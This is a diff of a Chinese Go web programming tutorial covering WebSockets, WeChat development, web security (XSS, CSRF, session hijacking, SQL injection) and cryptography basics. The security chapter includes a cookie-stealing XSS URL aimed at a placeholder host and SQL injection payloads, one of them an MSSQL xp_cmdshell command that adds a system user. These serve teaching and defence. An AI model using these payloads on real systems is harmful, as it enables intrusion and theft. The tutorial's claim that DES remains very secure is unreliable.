console.log("message received: " + e.data);
|
||||
}
|
||||
};
|
||||
|
||||
function send() {
|
||||
var msg = document.getElementById('message').value;
|
||||
sock.send(msg);
|
||||
};
|
||||
</script>
|
||||
<h1>WebSocket Echo Test</h1>
|
||||
<form>
|
||||
<p>
|
||||
Message: <input id="message" type="text" value="Hello, world!">
|
||||
</p>
|
||||
</form>
|
||||
<button onclick="send();">Send Message</button>
|
||||
</body>
|
||||
</html>
|
||||
|
||||
```
|
||||
可以看到客户端JS,很容易的就通过WebSocket函数建立了一个与服务器的连接sock,当握手成功后,会触发WebScoket对象的onopen事件,告诉客户端连接已经成功建立。客户端一共绑定了四个事件。
|
||||
|
||||
- 1)onopen 建立连接后触发
|
||||
- 2)onmessage 收到消息后触发
|
||||
- 3)onerror 发生错误时触发
|
||||
- 4)onclose 关闭连接时触发
|
||||
|
||||
我们服务器端的实现如下:
|
||||
|
||||
```Go
|
||||
|
||||
package main
|
||||
|
||||
import (
|
||||
"golang.org/x/net/websocket"
|
||||
"fmt"
|
||||
"log"
|
||||
"net/http"
|
||||
)
|
||||
|
||||
func Echo(ws *websocket.Conn) {
|
||||
var err error
|
||||
|
||||
for {
|
||||
var reply string
|
||||
|
||||
if err = websocket.Message.Receive(ws, &reply); err != nil {
|
||||
fmt.Println("Can't receive")
|
||||
break
|
||||
}
|
||||
|
||||
fmt.Println("Received back from client: " + reply)
|
||||
|
||||
msg := "Received: " + reply
|
||||
fmt.Println("Sending to client: " + msg)
|
||||
|
||||
if err = websocket.Message.Send(ws, msg); err != nil {
|
||||
fmt.Println("Can't send")
|
||||
break
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func main() {
|
||||
http.Handle("/", websocket.Handler(Echo))
|
||||
|
||||
if err := http.ListenAndServe(":1234", nil); err != nil {
|
||||
log.Fatal("ListenAndServe:", err)
|
||||
}
|
||||
}
|
||||
|
||||
```
|
||||
当客户端将用户输入的信息Send之后,服务器端通过Receive接收到了相应信息,然后通过Send发送了应答信息。
|
142
04-Web编程/09-Go与微信开发.md
Normal file
142
04-Web编程/09-Go与微信开发.md
Normal file
@ -0,0 +1,142 @@
|
||||
## 一 微信公众号开发概念
|
||||
|
||||
#### 1.1 公众号的分类
|
||||
|
||||
微信公众号分为四类:
|
||||
- 订阅号:每天能推送消息,允许个人申请,适合资讯服务(如各种媒体)
|
||||
- 服务号:每月4次推送,适合企业数据服务交互(如招商银行公众号)
|
||||
- 企业号:现在叫做企业微信,企业内部办公管理使用(可以理解为叮叮)
|
||||
- 小程序:小程序功能更多,相当于简易版的app,比常规app开发简单。
|
||||
|
||||
#### 1.2 微信公众平台
|
||||
|
||||
微信公众平台地址(管理微信公众号相关的后台):http://mp.weixin.qq.com
|
||||
|
||||
微信公众平台分为两种管理模式:
|
||||
- 编辑模式:进入公众平台后,左侧默认提供的管理功能,已经提供了大多数功能。
|
||||
- 开发模式:进入开发模式后,公众号编辑模式下的功能全部作废,需要开发人员手动开发相应功能,能够让公众号拥有更强大的功能。
|
||||
|
||||
微信开发平台:在开发平台可以查看各类文档与工具,地址是:https://developers.weixin.qq.com/miniprogram/dev/api/
|
||||
|
||||
#### 1.3 微信与服务器交互过程
|
||||
|
||||
当我们在微信app上,给公众号发送一条内容的时候,实际会发送到微信的服务器上,此时微信的服务器就会对内容进行封装成某种格式的数据比如xml格式,再转发到我们配置好的URL上,所以该URL实际就是我们处理数据的一个请求路径。该URL必须是能暴露给外界访问的一个公网地址,不能使用内网地址,生产环境可以申请腾讯云,阿里云服务器等,但是在开发环境中可以暂时利用一些软件来完成内网穿透,便于修改和测试,如ngork(https://dashboard.ngrok.com)。
|
||||
|
||||
![](../images/go/wx-01.png)
|
||||
|
||||
在开发的过程中,我们会经常使用到微信公众号提供给开发者的开发文档:https://mp.weixin.qq.com/wiki
|
||||
|
||||
#### 1.4 URL接入验证原理
|
||||
|
||||
![](../images/go/wx-02.png)
|
||||
|
||||
由以上介绍可知,当我们填入url与token的值,并提交后,微信会发送一个get请求到我们填写的url上,并且携带4个参数,而signature参数结合了开发者填写的token参数和请求中的timestamp参数、nonce参数来做的加密签名,我们在后台需要对该签名进行校验,看是否合法。实际上,我们发现微信带过来的4个参数中并没有带token参数,仅有signature是和token有关的,所以我们应该在本地应用中也准备一个和填入的token相同的参数,再通过微信传入的timestamp与nonce做相同算法的加密操作,若结果与微信传入的signature相同,即为合法,则原样返回echostr参数,代表接入成功,否则不做处理,则接入失败。
|
||||
|
||||
![](../images/go/wx-03.png)
|
||||
|
||||
#### 1.5 成为微信开发者
|
||||
|
||||
在微信公众后台(https://mp.weixin.qq.com)左侧菜单最下方可以申请称为开发者,
|
||||
或者直接使用微信测试号:http://mp.weixin.qq.com/debug/cgi-bin/sandbox?t=sandbox/login
|
||||
配置中的IP白名单:只有配置了白名单的IP才能调取微信接口(相当于增强了安全性,防止因为开发者ID和密码被盗后,被盗取者调用接口)
|
||||
服务器配置:微信开发必须使用外网地址,所以需要配置自己的服务器地址,
|
||||
当然也可以使用ngork,配置内网穿透地址(百度即可)。
|
||||
|
||||
## 二 小程序会话
|
||||
|
||||
- 0-1 用户点击`<button open-type="getUserInfo" bindGetUserInfo="getUserInfo">授权登陆</button>`弹出授权页面
|
||||
- 0-2 小程序端通过`wx.getSetting()`检查是否授权,如果已授权则可以直接调用`wx.getUserInfo()`获取信息
|
||||
- 1 如果未授权,用户点击同意授权后,小程序端通过`wx.login()` 请求微信服务器获取`code`
|
||||
- 2 小程序端通过`wx.request()`将`code`发送给业务服务端,业务服务端通过`code`,`appid`,`appsecret`三者请求微信服务器拿到`openid`,`session_key`,如果数据库中没有这个openid就算注册(有些项目需要用户填写昵称),如果有则准备制作session
|
||||
- 3 服务端将`session_key`通过自己的加密方式生成新签名,这里命名为`session_rd`,并通过redis等缓存系统进行缓存(设置缓存时间,key为session_rd,value为openid)
|
||||
- 4 缓存后,服务端将加密后生成`session_rd`返回给小程序端(出于安全考虑不能将原始的session_key给小程序)
|
||||
- 5 小程序端通过`wx.setStorageSync() `将`session_rd`存储到本地的storage,并可以通过`wx.getUserInfo`获取用户敏感数据。后续用户重新进入小程序,调用wx.checksession()检测登录状态,如果失效,重新发起登录流程
|
||||
- 6 小程序与业务服务端接口通信:小程序从storage读取`session_rd`,发送给业务服务端,服务端根据`session_rd`判断是哪个用户
|
||||
|
||||
注意事项:一般session在半小时内就过期了,为了防止用户长期使用小程序突然断开,需要小程序端内部做一个循环,每隔二十分钟请求一次业务服务器获取新的`session_rd`,而且该循环函数应该在每次小程序打开时候就要启动,所以需要添加到app.js的生命周期函数中。
|
||||
|
||||
参考地址:https://mp.weixin.qq.com/wiki?t=resource/res_main&id=mp1421140842
|
||||
|
||||
|
||||
session_key的作用:
|
||||
wx.getUserInfo()在请求微信服务器时(设置withCredentials为true),会检查是否登录,如果此前已经吊用过wx.login且登录状态尚未过期,那么返回的数据会包含encryptedData,iv等敏感信息,由于客户端不知道encryptedData的内容,会将该数据发送给业务服务端,业务服务端通过session_key可以对其进行解密,解密后会是一个用户敏感信息的json结构数据。
|
||||
|
||||
示例:使用session_key获取用户手机
|
||||
|
||||
前端代码:
|
||||
```js
|
||||
Page({
|
||||
getPhoneNumber: function(e) {
|
||||
console.log(e.detail.errMsg)
|
||||
console.log(e.detail.iv)
|
||||
console.log(e.detail.encryptedData)
|
||||
}
|
||||
})
|
||||
```
|
||||
服务端解密结果:
|
||||
```js
|
||||
{
|
||||
"phoneNumber": "13345678900"
|
||||
}
|
||||
```
|
||||
|
||||
## 三 Go开发微信
|
||||
|
||||
```go
|
||||
package main
|
||||
|
||||
import (
|
||||
"crypto/sha1"
|
||||
"fmt"
|
||||
"io"
|
||||
"log"
|
||||
"net/http"
|
||||
"sort"
|
||||
"strings"
|
||||
)
|
||||
|
||||
const (
|
||||
token = "test"
|
||||
)
|
||||
|
||||
func makeSignature(timestamp, nonce string) string { //本地计算signature
|
||||
si := []string{token, timestamp, nonce}
|
||||
sort.Strings(si) //字典序排序
|
||||
str := strings.Join(si, "") //组合字符串
|
||||
s := sha1.New() //返回一个新的使用SHA1校验的hash.Hash接口
|
||||
io.WriteString(s, str) //WriteString函数将字符串数组str中的内容写入到s中
|
||||
return fmt.Sprintf("%x", s.Sum(nil))
|
||||
}
|
||||
|
||||
func validateUrl(w http.ResponseWriter, r *http.Request) bool {
|
||||
|
||||
timestamp := strings.Join(r.Form["timestamp"], "")
|
||||
nonce := strings.Join(r.Form["nonce"], "")
|
||||
signature := strings.Join(r.Form["signature"], "")
|
||||
echostr := strings.Join(r.Form["echostr"], "")
|
||||
|
||||
signatureGen := makeSignature(timestamp, nonce)
|
||||
if signatureGen != signature {
|
||||
return false
|
||||
}
|
||||
fmt.Fprintf(w, echostr) //原样返回eechostr给微信服务器
|
||||
return true
|
||||
}
|
||||
|
||||
func procSignature(w http.ResponseWriter, r *http.Request) {
|
||||
r.ParseForm()
|
||||
if !validateUrl(w, r) {
|
||||
log.Println("Wechat Service: This http request is not from wechat platform")
|
||||
return
|
||||
}
|
||||
log.Println("validateUrl Ok")
|
||||
}
|
||||
|
||||
func main() {
|
||||
|
||||
http.HandleFunc("/", procSignature)
|
||||
|
||||
http.ListenAndServe(":80", nil)
|
||||
|
||||
}
|
||||
```
|
328
04-Web编程/10-Web安全.md
Normal file
328
04-Web编程/10-Web安全.md
Normal file
@ -0,0 +1,328 @@
|
||||
# 一 跨站脚本攻击XSS
|
||||
|
||||
#### 1.1 XSS简介
|
||||
|
||||
动态站点很容易受到跨站脚本攻击(Cross Site Scripting, 安全专家们通常将其缩写成 XSS)。它允许攻击者将恶意代码植入到提供给其它用户使用的页面中,XSS涉及到三方,即攻击者、客户端与Web应用。XSS的攻击目标是为了盗取存储在客户端的cookie或者其他网站用于识别客户端身份的敏感信息。
|
||||
|
||||
XSS通常可以分为两大类:
|
||||
- 存储型XSS:主要出现在让用户输入数据,供其他浏览此页的用户进行查看的地方,包括留言、评论等。
|
||||
- 反射型XSS:主要做法是将脚本代码加入URL地址的请求参数里,请求参数进入程序后在页面直接输出,用户点击类似的恶意链接就可能受到攻击。
|
||||
|
||||
XSS目前主要的手段和目的如下:
|
||||
- 盗用cookie,获取敏感信息。
|
||||
- 利用植入Flash,通过crossdomain权限设置进一步获取更高权限;或者利用Java等得到类似的操作。
|
||||
- 利用iframe、frame、XMLHttpRequest或上述Flash等方式,以(被攻击者)用户的身份执行一些管理动作,或执行一些如:发微博、加好友、发私信等常规操作,前段时间新浪微博就遭遇过一次XSS。
|
||||
- 利用可被攻击的域受到其他域信任的特点,以受信任来源的身份请求一些平时不允许的操作,如进行不当的投票活动。
|
||||
- 在访问量极大的一些页面上的XSS可以攻击一些小型网站,实现DDoS攻击的效果
|
||||
|
||||
#### 1.2 XSS攻击示例
|
||||
```
|
||||
# 一个常见的get请求:
|
||||
http://localhost:3000/?name=ruyue
|
||||
hello ruyue
|
||||
|
||||
# 在URL中插入js代码:
|
||||
http://localhost:3000?name=<script>alert('ruyue,xss')</script>
|
||||
此时浏览器会出现弹窗
|
||||
|
||||
# 盗取cookie:
|
||||
http://localhost:3000/?name=<script>document.location.href='http://www.xxx.com/cookie?'+document.cookie</script>
|
||||
```
|
||||
|
||||
这样就可以把当前的cookie发送到指定的站点:`www.xxx.com`。尤其现在流行短网址,用户是无法识别的。
|
||||
|
||||
#### 1.3 XSS的预防
|
||||
|
||||
|
||||
目前防御XSS主要有如下几种方式(推荐结合使用):
|
||||
|
||||
- 过滤特殊字符:即不相信任何用户的输入,对用户输入内容进行过滤。Go的html/template里面带有下面几个函数可以用于过滤
|
||||
- func HTMLEscape(w io.Writer, b []byte) //把b进行转义之后写到w
|
||||
- func HTMLEscapeString(s string) string //转义s之后返回结果字符串
|
||||
- func HTMLEscaper(args ...interface{}) string //支持多个参数一起转义,返回结果字符串
|
||||
- 使用HTTP头指定类型:
|
||||
- `w.Header().Set("Content-Type","text/javascript")`,这样就可以让浏览器解析javascript代码,而不会是html输出。
|
||||
|
||||
示例:
|
||||
```Go
|
||||
|
||||
fmt.Println("username:", template.HTMLEscapeString(r.Form.Get("username"))) //输出到服务器端
|
||||
fmt.Println("password:", template.HTMLEscapeString(r.Form.Get("password")))
|
||||
template.HTMLEscape(w, []byte(r.Form.Get("username"))) //输出到客户端
|
||||
```
|
||||
如果我们输入的username是`<script>alert()</script>`,那么我们可以在浏览器上面看到输出如下所示:
|
||||
|
||||
Go的html/template包默认帮你过滤了html标签,但是有时候你只想要输出这个`<script>alert()</script>`看起来正常的信息,该怎么处理?请使用text/template。请看下面的例子:
|
||||
```Go
|
||||
|
||||
import "text/template"
|
||||
...
|
||||
t, err := template.New("foo").Parse(`{{define "T"}}Hello, {{.}}!{{end}}`)
|
||||
err = t.ExecuteTemplate(out, "T", "<script>alert('you have been pwned')</script>")
|
||||
```
|
||||
输出
|
||||
|
||||
Hello, <script>alert('you have been pwned')</script>!
|
||||
|
||||
或者使用template.HTML类型
|
||||
```Go
|
||||
|
||||
import "html/template"
|
||||
...
|
||||
t, err := template.New("foo").Parse(`{{define "T"}}Hello, {{.}}!{{end}}`)
|
||||
err = t.ExecuteTemplate(out, "T", template.HTML("<script>alert('you have been pwned')</script>"))
|
||||
```
|
||||
输出
|
||||
|
||||
Hello, <script>alert('you have been pwned')</script>!
|
||||
|
||||
转换成`template.HTML`后,变量的内容也不会被转义
|
||||
|
||||
转义的例子:
|
||||
```Go
|
||||
|
||||
import "html/template"
|
||||
...
|
||||
t, err := template.New("foo").Parse(`{{define "T"}}Hello, {{.}}!{{end}}`)
|
||||
err = t.ExecuteTemplate(out, "T", "<script>alert('you have been pwned')</script>")
|
||||
```
|
||||
转义之后的输出:
|
||||
|
||||
Hello, <script>alert('you have been pwned')</script>!
|
||||
|
||||
## 二 预防CSRF攻击
|
||||
|
||||
#### 2.1 CSRF简介
|
||||
|
||||
CSRF(Cross-site request forgery),中文名称:跨站请求伪造,也被称为:one click attack/session riding,缩写为:CSRF/XSRF。
|
||||
|
||||
那么CSRF到底能够干嘛呢?你可以这样简单的理解:攻击者可以盗用你的登陆信息,以你的身份模拟发送各种请求。攻击者只要借助少许的社会工程学的诡计,例如通过QQ等聊天软件发送的链接(有些还伪装成短域名,用户无法分辨),攻击者就能迫使Web应用的用户去执行攻击者预设的操作。例如,当用户登录网络银行去查看其存款余额,在他没有退出时,就点击了一个QQ好友发来的链接,那么该用户银行帐户中的资金就有可能被转移到攻击者指定的帐户中。
|
||||
|
||||
所以遇到CSRF攻击时,将对终端用户的数据和操作指令构成严重的威胁;当受攻击的终端用户具有管理员帐户的时候,CSRF攻击将危及整个Web应用程序。
|
||||
|
||||
#### 2.2 CSRF的原理
|
||||
|
||||
下图简单阐述了CSRF攻击的思想
|
||||
|
||||
![](images/9.1.csrf.png?raw=true)
|
||||
|
||||
图9.1 CSRF的攻击过程
|
||||
|
||||
从上图可以看出,要完成一次CSRF攻击,受害者必须依次完成两个步骤 :
|
||||
|
||||
- 1.登录受信任网站A,并在本地生成Cookie 。
|
||||
- 2.在不退出A的情况下,访问危险网站B。
|
||||
|
||||
看到这里,读者也许会问:“如果我不满足以上两个条件中的任意一个,就不会受到CSRF的攻击”。是的,确实如此,但你不能保证以下情况不会发生:
|
||||
|
||||
- 你不能保证你登录了一个网站后,不再打开一个tab页面并访问另外的网站,特别现在浏览器都是支持多tab的。
|
||||
- 你不能保证你关闭浏览器了后,你本地的Cookie立刻过期,你上次的会话已经结束。
|
||||
- 上图中所谓的攻击网站,可能是一个存在其他漏洞的可信任的经常被人访问的网站。
|
||||
|
||||
因此对于用户来说很难避免在登陆一个网站之后不点击一些链接进行其他操作,所以随时可能成为CSRF的受害者。
|
||||
|
||||
CSRF攻击主要是因为Web的隐式身份验证机制,Web的身份验证机制虽然可以保证一个请求是来自于某个用户的浏览器,但却无法保证该请求是用户批准发送的。
|
||||
|
||||
#### 2.3 预防CSRF
|
||||
|
||||
过上面的介绍,读者是否觉得这种攻击很恐怖,意识到恐怖是个好事情,这样会促使你接着往下看如何改进和防止类似的漏洞出现。
|
||||
|
||||
CSRF的防御可以从服务端和客户端两方面着手,防御效果是从服务端着手效果比较好,现在一般的CSRF防御也都在服务端进行。
|
||||
|
||||
服务端的预防CSRF攻击的方式方法有多种,但思想上都是差不多的,主要从以下2个方面入手:
|
||||
|
||||
- 1、正确使用GET,POST和Cookie;
|
||||
- 2、在非GET请求中增加伪随机数;
|
||||
|
||||
我们上一章介绍过REST方式的Web应用,一般而言,普通的Web应用都是以GET、POST为主,还有一种请求是Cookie方式。我们一般都是按照如下方式设计应用:
|
||||
|
||||
1、GET常用在查看,列举,展示等不需要改变资源属性的时候;
|
||||
|
||||
2、POST常用在下达订单,改变一个资源的属性或者做其他一些事情;
|
||||
|
||||
接下来我就以Go语言来举例说明,如何限制对资源的访问方法:
|
||||
|
||||
```Go
|
||||
|
||||
mux.Get("/user/:uid", getuser)
|
||||
mux.Post("/user/:uid", modifyuser)
|
||||
|
||||
```
|
||||
这样处理后,因为我们限定了修改只能使用POST,当GET方式请求时就拒绝响应,所以上面图示中GET方式的CSRF攻击就可以防止了,但这样就能全部解决问题了吗?当然不是,因为POST也是可以模拟的。
|
||||
|
||||
因此我们需要实施第二步,在非GET方式的请求中增加随机数,这个大概有三种方式来进行:
|
||||
|
||||
- 为每个用户生成一个唯一的cookie token,所有表单都包含同一个伪随机值,这种方案最简单,因为攻击者不能获得第三方的Cookie(理论上),所以表单中的数据也就构造失败,但是由于用户的Cookie很容易由于网站的XSS漏洞而被盗取,所以这个方案必须要在没有XSS的情况下才安全。
|
||||
- 每个请求使用验证码,这个方案是完美的,因为要多次输入验证码,所以用户友好性很差,所以不适合实际运用。
|
||||
- 不同的表单包含一个不同的伪随机值,我们在4.4小节介绍“如何防止表单多次递交”时介绍过此方案,复用相关代码,实现如下:
|
||||
|
||||
生成随机数token
|
||||
|
||||
```Go
|
||||
|
||||
h := md5.New()
|
||||
io.WriteString(h, strconv.FormatInt(crutime, 10))
|
||||
io.WriteString(h, "ganraomaxxxxxxxxx")
|
||||
token := fmt.Sprintf("%x", h.Sum(nil))
|
||||
|
||||
t, _ := template.ParseFiles("login.gtpl")
|
||||
t.Execute(w, token)
|
||||
|
||||
```
|
||||
输出token
|
||||
```html
|
||||
|
||||
<input type="hidden" name="token" value="{{.}}">
|
||||
|
||||
```
|
||||
验证token
|
||||
|
||||
```Go
|
||||
|
||||
r.ParseForm()
|
||||
token := r.Form.Get("token")
|
||||
if token != "" {
|
||||
//验证token的合法性
|
||||
} else {
|
||||
//不存在token报错
|
||||
}
|
||||
|
||||
```
|
||||
这样基本就实现了安全的POST,但是也许你会说如果破解了token的算法呢,按照理论上是,但是实际上破解是基本不可能的,因为有人曾计算过,暴力破解该串大概需要2的11次方时间。
|
||||
|
||||
## 三 预防session劫持
|
||||
|
||||
在session技术中,客户端和服务端通过session的标识符来维护会话, 但这个标识符很容易就能被嗅探到,从而被其他人利用。它是中间人攻击的一种类型。
|
||||
|
||||
制作一个count计数器:
|
||||
```Go
|
||||
|
||||
func count(w http.ResponseWriter, r *http.Request) {
|
||||
sess := globalSessions.SessionStart(w, r)
|
||||
ct := sess.Get("countnum")
|
||||
if ct == nil {
|
||||
sess.Set("countnum", 1)
|
||||
} else {
|
||||
sess.Set("countnum", (ct.(int) + 1))
|
||||
}
|
||||
t, _ := template.ParseFiles("count.gtpl")
|
||||
w.Header().Set("Content-Type", "text/html")
|
||||
t.Execute(w, sess.Get("countnum"))
|
||||
}
|
||||
|
||||
```
|
||||
count.gtpl的代码如下所示:
|
||||
```Go
|
||||
|
||||
Hi. Now count:{{.}}
|
||||
```
|
||||
访问:localhost:9090/count,不断刷新浏览器,count数字将不断增长,当数字显示为6时,查看开发者工具中的value。将这些内容在另外一个浏览器中重新模拟发送请求,我们发现另外一个浏览器同样可以得到结果。
|
||||
可以看到虽然换了浏览器,但是我们却获得了sessionID,然后模拟了cookie存储的过程。这个例子是在同一台计算机上做的,不过即使换用两台来做,其结果仍然一样。此时如果交替点击两个浏览器里的链接你会发现它们其实操纵的是同一个计数器。不必惊讶,此处firefox盗用了chrome和goserver之间的维持会话的钥匙,即gosessionid,这是一种类型的“会话劫持”。在goserver看来,它从http请求中得到了一个gosessionid,由于HTTP协议的无状态性,它无法得知这个gosessionid是从chrome那里“劫持”来的,它依然会去查找对应的session,并执行相关计算。与此同时 chrome也无法得知自己保持的会话已经被“劫持”。
|
||||
通过上面session劫持的简单演示可以了解到session一旦被其他人劫持,就非常危险,劫持者可以假装成被劫持者进行很多非法操作。那么如何有效的防止session劫持呢?
|
||||
|
||||
其中一个解决方案就是sessionID的值只允许cookie设置,而不是通过URL重置方式设置,同时设置cookie的httponly为true,这个属性是设置是否可通过客户端脚本访问这个设置的cookie,第一这个可以防止这个cookie被XSS读取从而引起session劫持,第二cookie设置不会像URL重置方式那么容易获取sessionID。
|
||||
|
||||
第二步就是在每个请求里面加上token,实现类似前面章节里面讲的防止form重复递交类似的功能,我们在每个请求里面加上一个隐藏的token,然后每次验证这个token,从而保证用户的请求都是唯一性。
|
||||
```Go
|
||||
|
||||
h := md5.New()
|
||||
salt:="ruyue%^7&8888"
|
||||
io.WriteString(h,salt+time.Now().String())
|
||||
token:=fmt.Sprintf("%x",h.Sum(nil))
|
||||
if r.Form["token"]!=token{
|
||||
//提示登录
|
||||
}
|
||||
sess.Set("token",token)
|
||||
|
||||
```
|
||||
|
||||
还有一个解决方案就是,我们给session额外设置一个创建时间的值,一旦过了一定的时间,我们销毁这个sessionID,重新生成新的session,这样可以一定程度上防止session劫持的问题。
|
||||
```Go
|
||||
|
||||
createtime := sess.Get("createtime")
|
||||
if createtime == nil {
|
||||
sess.Set("createtime", time.Now().Unix())
|
||||
} else if (createtime.(int64) + 60) < (time.Now().Unix()) {
|
||||
globalSessions.SessionDestroy(w, r)
|
||||
sess = globalSessions.SessionStart(w, r)
|
||||
}
|
||||
```
|
||||
session启动后,我们设置了一个值,用于记录生成sessionID的时间。通过判断每次请求是否过期(这里设置了60秒)定期生成新的ID,这样使得攻击者获取有效sessionID的机会大大降低。
|
||||
|
||||
上面两个手段的组合可以在实践中消除session劫持的风险,一方面, 由于sessionID频繁改变,使攻击者难有机会获取有效的sessionID;另一方面,因为sessionID只能在cookie中传递,然后设置了httponly,所以基于URL攻击的可能性为零,同时被XSS获取sessionID也不可能。最后,由于我们还设置了MaxAge=0,这样就相当于session cookie不会留在浏览器的历史记录里面。
|
||||
|
||||
## 四 SQL注入
|
||||
|
||||
#### 4.1 SQL注入简介
|
||||
|
||||
SQL注入攻击(SQL Injection),简称注入攻击,是Web开发中最常见的一种安全漏洞。可以用它来从数据库获取敏感信息,或者利用数据库的特性执行添加用户,导出文件等一系列恶意操作,甚至有可能获取数据库乃至系统用户最高权限。
|
||||
|
||||
而造成SQL注入的原因是因为程序没有有效过滤用户的输入,使攻击者成功的向服务器提交恶意的SQL查询代码,程序在接收后错误的将攻击者的输入作为查询语句的一部分执行,导致原始的查询逻辑被改变,额外的执行了攻击者精心构造的恶意代码。
|
||||
|
||||
#### 4.2 SQL注入案例
|
||||
|
||||
很多Web开发者没有意识到SQL查询是可以被篡改的,从而把SQL查询当作可信任的命令。殊不知,SQL查询是可以绕开访问控制,从而绕过身份验证和权限检查的。更有甚者,有可能通过SQL查询去运行主机系统级的命令。
|
||||
|
||||
下面将通过一些真实的例子来详细讲解SQL注入的方式。
|
||||
|
||||
考虑以下简单的登录表单:
|
||||
```html
|
||||
|
||||
<form action="/login" method="POST">
|
||||
<p>Username: <input type="text" name="username" /></p>
|
||||
<p>Password: <input type="password" name="password" /></p>
|
||||
<p><input type="submit" value="登陆" /></p>
|
||||
</form>
|
||||
|
||||
```
|
||||
我们的处理里面的SQL可能是这样的:
|
||||
```Go
|
||||
|
||||
username:=r.Form.Get("username")
|
||||
password:=r.Form.Get("password")
|
||||
sql:="SELECT * FROM user WHERE username='"+username+"' AND password='"+password+"'"
|
||||
|
||||
```
|
||||
如果用户的输入的用户名如下,密码任意
|
||||
```Go
|
||||
|
||||
myuser' or 'foo' = 'foo' --
|
||||
|
||||
```
|
||||
那么我们的SQL变成了如下所示:
|
||||
```Go
|
||||
|
||||
SELECT * FROM user WHERE username='myuser' or 'foo' = 'foo' --'' AND password='xxx'
|
||||
```
|
||||
在SQL里面`--`是注释标记,所以查询语句会在此中断。这就让攻击者在不知道任何合法用户名和密码的情况下成功登录了。
|
||||
|
||||
对于MSSQL还有更加危险的一种SQL注入,就是控制系统,下面这个可怕的例子将演示如何在某些版本的MSSQL数据库上执行系统命令。
|
||||
```Go
|
||||
|
||||
sql:="SELECT * FROM products WHERE name LIKE '%"+prod+"%'"
|
||||
Db.Exec(sql)
|
||||
```
|
||||
如果攻击提交`a%' exec master..xp_cmdshell 'net user test testpass /ADD' --`作为变量 prod的值,那么sql将会变成
|
||||
```Go
|
||||
|
||||
sql:="SELECT * FROM products WHERE name LIKE '%a%' exec master..xp_cmdshell 'net user test testpass /ADD'--%'"
|
||||
```
|
||||
MSSQL服务器会执行这条SQL语句,包括它后面那个用于向系统添加新用户的命令。如果这个程序是以sa运行而 MSSQLSERVER服务又有足够的权限的话,攻击者就可以获得一个系统帐号来访问主机了。
|
||||
|
||||
>虽然以上的例子是针对某一特定的数据库系统的,但是这并不代表不能对其它数据库系统实施类似的攻击。针对这种安全漏洞,只要使用不同方法,各种数据库都有可能遭殃。
|
||||
|
||||
|
||||
#### 4.3 预防SQL注入
|
||||
|
||||
也许你会说攻击者要知道数据库结构的信息才能实施SQL注入攻击。确实如此,但没人能保证攻击者一定拿不到这些信息,一旦他们拿到了,数据库就存在泄露的危险。如果你在用开放源代码的软件包来访问数据库,比如论坛程序,攻击者就很容易得到相关的代码。如果这些代码设计不良的话,风险就更大了。目前Discuz、phpwind、phpcms等这些流行的开源程序都有被SQL注入攻击的先例。
|
||||
|
||||
这些攻击总是发生在安全性不高的代码上。所以,永远不要信任外界输入的数据,特别是来自于用户的数据,包括选择框、表单隐藏域和 cookie。就如上面的第一个例子那样,就算是正常的查询也有可能造成灾难。
|
||||
|
||||
SQL注入攻击的危害这么大,那么该如何来防治呢?下面这些建议或许对防治SQL注入有一定的帮助。
|
||||
|
||||
1. 严格限制Web应用的数据库的操作权限,给此用户提供仅仅能够满足其工作的最低权限,从而最大限度的减少注入攻击对数据库的危害。
|
||||
2. 检查输入的数据是否具有所期望的数据格式,严格限制变量的类型,例如使用regexp包进行一些匹配处理,或者使用strconv包对字符串转化成其他基本类型的数据进行判断。
|
||||
3. 对进入数据库的特殊字符('"\尖括号&*;等)进行转义处理,或编码转换。Go 的`text/template`包里面的`HTMLEscapeString`函数可以对字符串进行转义处理。
|
||||
4. 所有的查询语句建议使用数据库提供的参数化查询接口,参数化的语句使用参数而不是将用户输入变量嵌入到SQL语句中,即不要直接拼接SQL语句。例如使用`database/sql`里面的查询函数`Prepare`和`Query`,或者`Exec(query string, args ...interface{})`。
|
||||
5. 在应用发布之前建议使用专业的SQL注入检测工具进行检测,以及时修补被发现的SQL注入漏洞。网上有很多这方面的开源工具,例如sqlmap、SQLninja等。
|
||||
6. 避免网站打印出SQL错误信息,比如类型错误、字段不匹配等,把代码里的SQL语句暴露出来,以防止攻击者利用这些错误信息进行SQL注入。
|
351
04-Web编程/11-Go与加密算法.md
Normal file
351
04-Web编程/11-Go与加密算法.md
Normal file
@ -0,0 +1,351 @@
|
||||
## 一 密码学概述
|
||||
|
||||
### 1.0 加密算法分类
|
||||
|
||||
常用的加密算法有三类:
|
||||
- 哈希算法:不可逆
|
||||
- 加密解密算法:通过秘钥实现加密解密,是可逆的
|
||||
- 编码解码算法:无需秘钥,是可逆的,如Base64,但是严格意义上来说该类算法只是一种数据编码格式
|
||||
|
||||
### 1.1 哈希算法
|
||||
|
||||
哈希算法其实是一种消息摘要实现技术,hash是剁碎的意思,所以也称呼hash为散列。
|
||||
|
||||
哈希算法能让任意长度的二进制值映射为较短的固定长度的二进制值,并且不同明文基本上不会映射为相同的Hash值。
|
||||
|
||||
哈希算法加密不可逆,常见的算法有:md4、md5、hash1、SHA256、SHA3等。
|
||||
|
||||
例如一段字符串`hello world`,经过md5加密后转换成了:`5eb63bbbe01eeed093cb22bb8f5acdc3`,该密文是无法返回到原始的明文的。
|
||||
|
||||
不过哈希算法必须解决冲突问题,即不同的数据通过哈希算法产生了相同的输出,MD5,SHA-1算法都已经被证明不具备”强抗碰撞性“,不足以应对要求很高的商业场景。
|
||||
|
||||
为了提升哈希算法的安全性,推荐使用SHA-2,该算法是SHA-256,SHA-512等算法的并称。
|
||||
|
||||
不过MD5仍然被大量用于网站的登录中,如下所示:
|
||||
|
||||
![](../images/go/04-01.png)
|
||||
|
||||
利用彩虹表攻击,哈希算法变得很脆弱,可以通过加盐的方式提升安全性:
|
||||
|
||||
![](../images/go/04-02.png)
|
||||
|
||||
### 1.2 加密解密算法-对称加密
|
||||
|
||||
对称加密(datar encryption algorithm,DEA)也称为私钥加密算法、单秘钥算法,常见的对称加密算法有:DES,3DES,AES等。
|
||||
|
||||
对称加密的特点:
|
||||
- 加密和解密的秘钥相同
|
||||
- 运算效率加高
|
||||
|
||||
对称加密由于加密方和解密方需要共享秘钥,所以容易泄露,如下所示:
|
||||
|
||||
![](../images/go/04-03.png)
|
||||
|
||||
DES目前是非常安全的加密方式,只有穷举法才可以破解。
|
||||
|
||||
### 1.3 加密解密算法-非对称加密
|
||||
|
||||
非对称加密也称呼为公钥加密,最著名的非对称加密算法是RSA、椭圆曲线算法ECC。
|
||||
|
||||
